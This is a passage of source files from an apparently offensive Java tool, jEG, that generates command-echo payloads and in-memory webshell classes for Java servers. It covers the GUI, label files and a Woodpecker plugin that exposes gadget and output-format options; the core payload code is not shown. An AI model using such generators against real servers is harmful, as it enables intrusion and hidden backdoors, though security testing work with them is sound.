GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); classNameText = new JTextField(); classNameText.setToolTipText("可选,默认随机生成"); MiddlePanel.add(classNameText, new GridConstraints(1, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); TopSep = new JSeparator(); jEGPanel.add(TopSep, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); MiddleSep = new JSeparator(); jEGPanel.add(MiddleSep, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); BottomPanel = new JPanel(); BottomPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); jEGPanel.add(BottomPanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); generateButton = new JButton(); generateButton.setText("生成"); BottomPanel.add(generateButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_EAST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); TipPanel = new JPanel(); TipPanel.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1)); jEGPanel.add(TipPanel, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); final Spacer spacer1 = new Spacer(); TipPanel.add(spacer1, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false)); authorLabel = new JLabel(); authorLabel.setText("请勿用于非法用途"); TipPanel.add(authorLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); noticeLabel = new JLabel(); noticeLabel.setText("by pen4uin"); TipPanel.add(noticeLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); } /** * @noinspection ALL */ public JComponent $$$getRootComponent$$$() { return jEGPanel; } } ================================================ FILE: jeg-gui/src/main/java/jeg/gui/jEGApp.java ================================================ package jeg.gui; import com.formdev.flatlaf.FlatLightLaf; import jeg.gui.form.jEGForm; import javax.swing.*; public class jEGApp { public static void main(String[] args) { FlatLightLaf.setup(); SwingUtilities.invokeLater(jEGApp::createAndShowGUI); } private static void createAndShowGUI() { jEGForm.start(); } } ================================================ FILE: jeg-gui/src/main/java/jeg/gui/util/ComponentUtil.java ================================================ package jeg.gui.util; import javax.swing.*; import javax.swing.event.DocumentEvent; import javax.swing.event.DocumentListener; import javax.swing.text.JTextComponent; import javax.swing.text.SimpleAttributeSet; import javax.swing.text.StyleConstants; import java.awt.*; import java.awt.event.ItemEvent; import java.awt.event.ItemListener; import java.util.function.Consumer; public class ComponentUtil { public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) { return new DocumentListener() { @Override public void insertUpdate(DocumentEvent e) { updateText(); } @Override public void removeUpdate(DocumentEvent e) { updateText(); } @Override public void changedUpdate(DocumentEvent e) { // 文本改变时触发(对于普通文本字段可以忽略) } private void updateText() { String text = textField.getText(); if (text.isEmpty()) { updateFunction.accept(null); } else { updateFunction.accept(text); } } }; } /** * 恢复滚动条位置 * @param scrollPane */ public static void restoreScrollPosition(JScrollPane scrollPane) { try { // windows 下窗口闪动 scrollPane.setDoubleBuffered(true); int scrollValue = scrollPane.getVerticalScrollBar().getValue(); SwingUtilities.invokeLater(() -> { scrollPane.getVerticalScrollBar().setValue(scrollValue); }); } catch (Exception ignored) { } catch (Throwable e) { throw new RuntimeException(e); } } public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) { SimpleAttributeSet attributeSet = new SimpleAttributeSet(); StyleConstants.setBold(attributeSet, true); StyleConstants.setItalic(attributeSet, false); StyleConstants.setForeground(attributeSet, foregroundColor); return attributeSet; } } ================================================ FILE: jeg-gui/src/main/java/jeg/gui/util/TextPaneUtil.java ================================================ package jeg.gui.util; import javax.swing.*; import javax.swing.text.*; import java.awt.*; /** * 控制文本颜色,提升用户体验 */ public class TextPaneUtil { private static JTextPane textPane; private static final Font font; private static final SimpleAttributeSet ERROR_ATT; private static final SimpleAttributeSet SUCCESS_ATT; private static final SimpleAttributeSet RAW_ATT; private static final SimpleAttributeSet START_ATT; static { font = new Font("Lucida Grande", Font.PLAIN, 13); ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0)); SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55)); RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0)); START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray); } public static void rawPrintln(String str) { try { textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str), RAW_ATT); } catch (Exception e) { e.printStackTrace(); } } public static void successPrintln(String str) { try { // 对 jexpr-encoder-utils 输出的处理 if (str.startsWith("[+]")) { textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str.replace("==>", "==>\n").replace("<==", "<==\n\n\n\n")), SUCCESS_ATT); } else { textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[+] %s\n", str), SUCCESS_ATT); } } catch (Exception e) { e.printStackTrace(); } } public static void errorPrintln(String str) { try { textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[x] %s\n", str), ERROR_ATT); } catch (Exception e) { e.printStackTrace(); } } public static void startPrintln(String str) { try { textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[>] %s\n", str), START_ATT); } catch (Exception e) { e.printStackTrace(); } } ///////////////////////////////////////////////////////////// // 以下内部类全都用于实现自动强制折行 // https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java ///////////////////////////////////////////////////////////// public static class WarpEditorKit extends StyledEditorKit { private static final long serialVersionUID = 1L; private ViewFactory defaultFactory = new WarpColumnFactory(); @Override public ViewFactory getViewFactory() { return defaultFactory; } } private static class WarpColumnFactory implements ViewFactory { public View create(Element elem) { String kind = elem.getName(); if (kind != null) { if (kind.equals(AbstractDocument.ContentElementName)) { return new WarpLabelView(elem); } else if (kind.equals(AbstractDocument.ParagraphElementName)) { return new ParagraphView(elem); } else if (kind.equals(AbstractDocument.SectionElementName)) { return new BoxView(elem, View.Y_AXIS); } else if (kind.equals(StyleConstants.ComponentElementName)) { return new ComponentView(elem); } else if (kind.equals(StyleConstants.IconElementName)) { return new IconView(elem); } } // default to text display return new LabelView(elem); } } private static class WarpLabelView extends LabelView { public WarpLabelView(Element elem) { super(elem); } @Override public float getMinimumSpan(int axis) { switch (axis) { case View.X_AXIS: return 0; case View.Y_AXIS: return super.getMinimumSpan(axis); default: throw new IllegalArgumentException("Invalid axis: " + axis); } } } ///////////////////////////////////////////////////////////////////////////////// public static void initTextPane(JTextPane textPane) { TextPaneUtil.textPane = textPane; TextPaneUtil.textPane.setEditorKit(new WarpEditorKit()); TextPaneUtil.textPane.setFont(font); } } ================================================ FILE: jeg-gui/src/main/resources/messages_en.properties ================================================ format.text=Output Format generate.text=Generate headerName.text=Header Key headerValue.text=Header Value injectorClsName.text=Injector Class Name key.text=Key pass.text=Password server.text=Server Type shell.text=Shell Type shellClsName.text=Shell Class Name tool.text=Tool Type uri.text=Request URI gadget.text=Enable Gadget Wrapping expr.text=Enable Expr Wrapping ================================================ FILE: jeg-gui/src/main/resources/messages_en.properties.bak ================================================ format.text=Output Format generate.text=Generate headerName.text=Request Header Key headerValue.text=Request Header Value injectorClsName.text=Injector Class Name key.text=Key pass.text=Password server.text=Server Type shell.text=Shell Type shellClsName.text=Shell Class Name tool.text=Tool Type uri.text=Request URI gadget.text=Enable Gadget Wrapping expr.text=Enable Expr Wrapping ================================================ FILE: jeg-gui/src/main/resources/messages_zh.properties ================================================ format.text=\u8F93\u51FA\u683C\u5F0F generate.text=\u751F\u6210 headerName.text=\u8BF7\u6C42\u5934\u952E headerValue.text=\u8BF7\u6C42\u5934\u503C injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D key.text=\u5BC6\u94A5 pass.text=\u5BC6\u7801 server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6 shell.text=\u7EC4\u4EF6\u7C7B\u578B shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D tool.text=\u5DE5\u5177\u7C7B\u578B uri.text=\u8BF7\u6C42\u8DEF\u5F84 gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5 expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5 ================================================ FILE: jeg-gui/src/main/resources/messages_zh.properties.bak ================================================ format.text=输出格式 generate.text=生成 headerName.text=请求头键 headerValue.text=请求头值 injectorClsName.text=注入器类名 key.text=密钥 pass.text=密码 server.text=中间件/框架 shell.text=组件类型 shellClsName.text=内存马类名 tool.text=工具类型 uri.text=请求路径 gadget.text=专项漏洞封装 expr.text=表达式语句封装 ================================================ FILE: jeg-woodpecker/pom.xml ================================================ 4.0.0 jeg java-echo-generator ${reversion} jEG-woodpecker ${artifactId}-${reversion} jeg jEG-core ${reversion} me.gv7.woodpecker woodpecker-sdk 0.3.0 provided me.gv7.woodpecker woodpecker-tools 0.1.0.beta1 provided ================================================ FILE: jeg-woodpecker/src/main/java/me/gv7/woodpecker/helper/jEGHelper.java ================================================ package me.gv7.woodpecker.helper; import jeg.core.jEGenerator; import jeg.core.config.jEGConstants; import jeg.core.config.jEGConfig; import me.gv7.woodpecker.plugin.*; import java.util.ArrayList; import java.util.List; import java.util.Map; public class jEGHelper implements IHelperPlugin { public static IHelperPluginCallbacks callbacks; public static IPluginHelper pluginHelper; @Override public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { callbacks = helperPluginCallbacks; pluginHelper = callbacks.getPluginHelper(); callbacks.setHelperPluginName("jEcho Generator Utils"); callbacks.setHelperPluginVersion(jEGConstants.JEG_VERSION); callbacks.setHelperPluginAutor(jEGConstants.JEG_AUTHOR); callbacks.setHelperPluginDescription(jEGConstants.JEG_DESCRIPTION); helperPluginCallbacks.registerHelper(new ArrayList() {{ add(new jEchoHelper(jEGConstants.SERVER_TOMCAT)); add(new jEchoHelper(jEGConstants.SERVER_SPRING_MVC)); add(new jEchoHelper(jEGConstants.SERVER_JETTY)); add(new jEchoHelper(jEGConstants.SERVER_RESIN)); add(new jEchoHelper(jEGConstants.SERVER_WEBSPHERE)); add(new jEchoHelper(jEGConstants.SERVER_WEBLOGIC)); add(new jEchoHelper(jEGConstants.SERVER_UNDERTOW)); add(new jEchoHelper(jEGConstants.SERVER_STRUTS2)); add(new jEchoHelper(jEGConstants.SERVER_BES)); add(new jEchoHelper(jEGConstants.SERVER_INFORSUITE)); add(new jEchoHelper(jEGConstants.SERVER_TONGWEB)); add(new jEchoHelper(jEGConstants.SERVER_UNKNOWN)); }}); } public class jEchoHelper implements IHelper { private String helperName; public jEchoHelper(String helperName) { this.helperName = helperName; } @Override public String getHelperTabCaption() { return this.helperName; } @Override public IArgsUsageBinder getHelperCutomArgs() { IArgsUsageBinder binder = pluginHelper.createArgsUsageBinder(); List list = new ArrayList(); IArg modelType = pluginHelper.createArg(); modelType.setName("model_type"); modelType.setType(7); List enumModelType = new ArrayList(); enumModelType.add(jEGConstants.MODEL_CMD); enumModelType.add(jEGConstants.MODEL_CODE); modelType.setEnumValue(enumModelType); modelType.setDefaultValue(jEGConstants.MODEL_CMD); modelType.setRequired(true); modelType.setDescription("自定义执行模式(命令/代码)"); list.add(modelType); IArg gadgetType = pluginHelper.createArg(); gadgetType.setName("gadget_type"); gadgetType.setType(7); List enumGadgetType = new ArrayList(); enumGadgetType.add(jEGConstants.GADGET_NONE); enumGadgetType.add(jEGConstants.GADGET_JDK_TRANSLET); enumGadgetType.add(jEGConstants.GADGET_XALAN_TRANSLET); gadgetType.setEnumValue(enumGadgetType); gadgetType.setDefaultValue(jEGConstants.GADGET_NONE); gadgetType.setRequired(true); gadgetType.setDescription("自定义利用链"); list.add(gadgetType); IArg formatType = pluginHelper.createArg(); formatType.setName("format_type"); formatType.setType(7); List enumFormattType = new ArrayList(); enumFormattType.add(jEGConstants.FORMAT_BASE64); enumFormattType.add(jEGConstants.FORMAT_BCEL); enumFormattType.add(jEGConstants.FORMAT_BIGINTEGER); enumFormattType.add(jEGConstants.FORMAT_CLASS); enumFormattType.add(jEGConstants.FORMAT_JAR); enumFormattType.add(jEGConstants.FORMAT_JS); formatType.setEnumValue(enumFormattType); formatType.setDefaultValue(jEGConstants.FORMAT_BASE64); formatType.setRequired(true); formatType.setDescription("自定义输出格式"); list.add(formatType); IArg request_header_name = pluginHelper.createArg(); request_header_name.setName("request_header_name"); request_header_name.setType(0); request_header_name.setDefaultValue("随机生成"); request_header_name.setRequired(false); request_header_name.setDescription("自定义HTTP请求头: Header Name"); list.add(request_header_name); IArg request_param_name = pluginHelper.createArg(); request_param_name.setName("request_param_name"); request_param_name.setType(0); request_param_name.setDefaultValue("随机生成"); request_param_name.setRequired(false); request_param_name.setDescription("自定义请求参数: Param Name"); list.add(request_param_name); IArg shell_class_name = pluginHelper.createArg(); shell_class_name.setName("class_name"); shell_class_name.setType(0); shell_class_name.setRequired(false); shell_class_name.setDescription("自定义类名"); list.add(shell_class_name); IArg output_path = pluginHelper.createArg(); output_path.setName("output_path"); output_path.setType(0); output_path.setDefaultValue("workdir"); output_path.setRequired(false); output_path.setDescription("自定义输出路径"); list.add(output_path); binder.setArgsList(list); return binder; } @Override public void doHelp(Map customArgs, IResultOutput resultOutput) { try { jEGConfig config = new jEGConfig() {{ setServerType(helperName); setModelType((String) customArgs.get("model_type")); setGadgetType((String) customArgs.get("gadget_type")); setFormatType((String) customArgs.get("format_type")); setReqParamName((String) customArgs.get("request_param_name")); setRespHeaderName((String) customArgs.get("request_header_name")); setClassName((String) customArgs.get("class_name")); setOutputDir((String) customArgs.get("output_path")); build(); }}; // 生成 payload jEGenerator generator = new jEGenerator(config); String result = generator.getPayload(); resultOutput(resultOutput, config, result); } catch (Throwable e) { resultOutput.errorPrintln(jEGHelper.pluginHelper.getThrowableInfo(e)); } } } public static void resultOutput(IResultOutput resultOutput, jEGConfig config, String result) { resultOutput.successPrintln("基础信息:"); resultOutput.rawPrintln(""); if (config.getModelType().equals(jEGConstants.MODEL_CMD)) { resultOutput.rawPrintln("请求头: " + config.getReqHeaderName()); } else { resultOutput.rawPrintln("请求参数: " + config.getReqParamName()); } resultOutput.rawPrintln("类名: " + config.getClassName()); resultOutput.rawPrintln("载荷长度: " + config.getClassBytesLength()); resultOutput.rawPrintln(""); try { resultOutput.successPrintln("结果输出:"); resultOutput.rawPrintln(""); resultOutput.rawPrintln(result); resultOutput.rawPrintln(""); } catch (Throwable e) { resultOutput.errorPrintln(jEGHelper.pluginHelper.getThrowableInfo(e)); } } } ================================================ FILE: jeg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java ================================================ package me.gv7.woodpecker.plugin; import me.gv7.woodpecker.helper.jEGHelper; public class WoodpeckerPluginManager implements IPluginManager { public WoodpeckerPluginManager() { } @Override public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) { pluginManagerCallbacks.registerHelperPlugin(new jEGHelper()); } } ================================================ FILE: pom.xml ================================================ 4.0.0 jeg java-echo-generator pom ${reversion} jeg-core jeg-common jeg-gui jeg-woodpecker 1.0.0 UTF-8 8 8 org.javassist javassist 3.29.2-GA org.apache.maven.plugins maven-assembly-plugin 3.6.0 jar-with-dependencies make-assembly package single